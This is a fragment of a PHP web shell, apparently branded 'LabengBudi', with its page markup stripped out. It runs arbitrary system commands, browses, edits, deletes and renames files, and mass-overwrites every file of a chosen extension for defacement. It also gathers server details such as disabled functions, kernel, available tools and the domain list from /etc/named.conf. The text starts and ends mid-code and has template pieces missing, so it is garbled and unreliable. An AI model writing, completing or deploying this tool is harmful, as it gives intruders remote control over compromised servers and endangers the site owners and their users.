$value) {
$filename['name'] = getcwd() . XN::SLES() . $value;
switch ($type) {
case 'dir':
if (!is_dir($filename['name']) ||$value === '.' || $value === '..') {
continue 2;
}
break;
case 'file':
if (!is_file($filename['name'])) {
continue 2;
}
break;
}
$filename['names'] = basename($filename['name']);
$filename['owner'] = self::owner($filename['name']);
$filename['ftime'] = self::ftime($filename['name']);
$filename['size'] = is_dir($filename['name']) ? self::countDir($filename['name']) . " items" : self::size($filename['name']);
self::$array[] = $filename;
}
return self::$array;
}
public static function save($filename, $data){
self::$handle = fopen($filename, "w");
fwrite(self::$handle, $data);
fclose(self::$handle);
}
public static function size($filename){
if (is_file($filename)) {
$filepath = $filename;
if (!realpath($filepath)) {
$filepath = $_SERVER['DOCUMENT_ROOT'] . $filepath;
}
$filesize = filesize($filepath);
$array = ["TB", "GB", "MB", "KB", "Byte"];
$total = count($array);
while ($total-- && $filesize > 1024) {
$filesize /= 1024;
}
return round($filesize, 2) . " " . $array[$total];
}
}
public static function wr($filename, $perms, $type){
if (is_writable($filename)) {
switch ($type) {
case 1: print "{$perms}"; break;
case 2: print "{$perms}"; break;
}
} else {
print "{$perms}";
}
}
public static function perms($filename){
$perms = @fileperms($filename);
switch ($perms & 0xf000) {
case 0xc000: $info = 's'; break;
case 0xa000: $info = 'l'; break;
case 0x8000: $info = 'r'; break;
case 0x6000: $info = 'b'; break;
case 0x4000: $info = 'd'; break;
case 0x2000: $info = 'c'; break;
case 0x1000: $info = 'p'; break;
default: $info = 'u';
}
$info .= $perms & 0x0100 ? 'r' : '-';
$info .= $perms & 0x0080 ? 'w' : '-';
$info .= $perms & 0x0040 ? ($perms & 0x0800 ? 's' : 'x') : ($perms & 0x0800 ? 'S' : '-');
$info .= $perms & 0x0020 ? 'r' : '-';
$info .= $perms & 0x0010 ? 'w' : '-';
$info .= $perms & 0x0008 ? ($perms & 0x0400 ? 's' : 'x') : ($perms & 0x0400 ? 'S' : '-');
$info .= $perms & 0x0004 ? 'r' : '-';
$info .= $perms & 0x0002 ? 'w' : '-';
$info .= $perms & 0x0001 ? ($perms & 0x0200 ? 't' : 'x') : ($perms & 0x0200 ? 'T' : '-');
return $info;
}
public static function OS(){return substr(strtoupper(PHP_OS), 0, 3) === "WIN" ? "Windows" : "Linux";}
public static function getext($filename){return strtolower(pathinfo($filename, PATHINFO_EXTENSION));}
public static function vers($x){return print $x;}
public static function SLES(){
if (self::OS() == 'Windows') {
return str_replace('\\', '/', DIRECTORY_SEPARATOR);
} elseif (self::OS() == 'Linux') {
return DIRECTORY_SEPARATOR;
}
}
public static function exe($cmd){
if (function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif (function_exists('exec')) {
@exec($cmd, $results);
$buff = "";
foreach ($results as $result) {
$buff .= $result;
}
return $buff;
} elseif (function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif (function_exists('shell_exec')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
public static function color($bold = 1, $colorid = null, $string = null){
$color = [
"", # 0 off
"", # 1 red
"", # 2 lime
"", # 3 white
"", # 4 gold
];
return $string !== null
? $color[$colorid] . $string . $color[0]
: $color[$colorid];
}
public static function lib_installed(){
$lib[] = "MySQL: " . (function_exists('mysql_connect') ? self::color(1, 2, "ON") : self::color(1, 1, "OFF"));
$lib[] = "cURL: " . (function_exists('curl_version') ? self::color(1, 2, "ON") : self::color(1, 1, "OFF"));
$lib[] = "Wget: " . (self::exe('wget --help') ? self::color(1, 2, "ON") : self::color(1, 1, "OFF"));
$lib[] = "Perl: " . (self::exe('perl --help') ? self::color(1, 2, "ON") : self::color(1, 1, "OFF"));
$lib[] = "Mail: " . (function_exists('mail') ? self::color(1, 2, "ON") : self::color(1, 1, "OFF"));
$lib[] = "Python: " . (self::exe('python --help') ? self::color(1, 2, "ON") : self::color(1, 1, "OFF"));
return implode(" | ", $lib);
}
public static function info($info = null){
switch ($info) {
case 'disable_function': return !empty(@ini_get("disable_functions"))? @ini_get("disable_functions") : "NONE"; break;
case 'mysql': return function_exists('mysql_connect') ? "ON" : "OFF"; break;
case 'ip': return getHostByName(getHostName()); break;
case 'software': return $_SERVER['SERVER_SOFTWARE']; break;
case 'kernel': return php_uname(); break;
case 'phpversion': return phpversion(); break;
case 'safe_mode': return @ini_get(strtoupper("safe_mode")) === "ON" ? "ON" : "OFF"; break;
case 'lib': return self::lib_installed(); break;
case 'domain':
$d0mains = @file("/etc/named.conf", false);
if (!$d0mains) {
print "Cant Read /etc/named.conf";
$GLOBALS["need_to_update_header"] = "true";
} else {
$count = 0;
foreach ($d0mains as $d0main) {
if (@strstr($d0main, "zone")) {
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if (strlen(trim($domains[1][0])) > 2) {
flush();
$count++;
}
}
}
print $count . " Domain";
}
break;
}
}
public static function addFile($filename, $data){
foreach ($filename as $value) {
$handle = fopen($value, "w");
if (fwrite($handle, $data)) {
alert("failed");
} else {
alert("success");
}
}
}
public static function addfolder($path, $mode = 0777){
return !is_dir($path) && !mkdir($path, $mode);
}
public static function delete($filename){
if (is_dir($filename)) {
$scandir = scandir($filename);
foreach ($scandir as $object) {
if ($object != '.' && $object != '..') {
if (is_dir($filename . DIRECTORY_SEPARATOR . $object)) {
self::delete($filename . DIRECTORY_SEPARATOR . $object);
} else {
@unlink($filename . DIRECTORY_SEPARATOR . $object);
}
}
}
if (@rmdir($filename)) {
return true;
} else {
return false;
}
} else {
if (@unlink($filename)) {
return true;
} else {
return false;
}
}
}
public static function owner($filename){
if (function_exists("posix_getpwuid")) {
self::$owner = @posix_getpwuid(fileowner($filename));
self::$owner = self::$owner['name'];
} else {
self::$owner = fileowner($filename);
}
if (function_exists("posix_getgrgid")) {
self::$group = @posix_getgrgid(filegroup($filename));
self::$group = self::$group['name'];
} else {
self::$group = filegroup($filename);
}
return self::$owner .
"/" .
self::$group .
"";
}
public static function ftime($filename){
return date('d M Y - H:i A', @filemtime($filename));
}
public static function renames($filename, $newname){
return rename($filename, $newname);
}
public static function cd($directory){
return @chdir($directory);
}
public static function countDir($filename){
return @count(scandir($filename)) - 2;
}
public static function listFile($dir, &$output = []){
$dirs = scandir($dir);
foreach ($dirs as $key => $value) {
$location = $dir . DIRECTORY_SEPARATOR . $value;
if (!is_dir($location)) {
$output[] = $location;
} elseif ($value != "." && $value != '..') {
self::listFile($location, $output);
$output[] = $location;
}
}
return $output;
}
public static function rewrite($dir, $extension, $text){
if (is_writable($dir)) {
foreach (self::listFile($dir) as $key => $value) {
switch (self::getext($value)) {
case $extension:
if (preg_match('/' . basename($value) . "$/i", $_SERVER['PHP_SELF'], $matches) == 0) {
if (file_put_contents($value, $text)) { ?>
= 1024 && $i < count($types) - 1;
$bytes /= 1024, $i++
);
return round($bytes, 2) . " " . $types[$i];
}
public static function hdd($type = null){
switch ($type) {
case 'free':
return self::formatSize(
disk_free_space($_SERVER['DOCUMENT_ROOT'])
);
break;
case 'total':
return self::formatSize(
disk_total_space($_SERVER['DOCUMENT_ROOT'])
);
break;
case 'used':
$free = disk_free_space($_SERVER['DOCUMENT_ROOT']);
$total = disk_total_space($_SERVER['DOCUMENT_ROOT']);
$used = $total - $free;
return self::formatSize($used);
break;
}
}
public static function countAllFiles($directory){
self::$array = [];
self::$directory = opendir($directory);
while ($object = readdir(self::$directory)) {
if ($object != '.' && $object != '..') {
$files[] = $object;
}
}
$numFile = @count($files);
if ($numFile) {
return $numFile;
} else {
print 'no files';
}
}
}
if (isset($_GET['x'])) {XN::cd($_GET['x']);}
function search(){ echo '';}
function head($x, $y, $class = null){
?>
window.location='?x=" . getcwd() . "'";
} else {
print "";
}
exit();
case 'edit':
if (isset($_POST['save'])) {
if (XN::save($_POST['file'], $_POST['data'])) {
alert("Permission Danied");
} else {
alert("success");
}
}
head("Edit", getcwd(), 'hidden');
?>
LabengBudi
Total : |
Free : |
Used :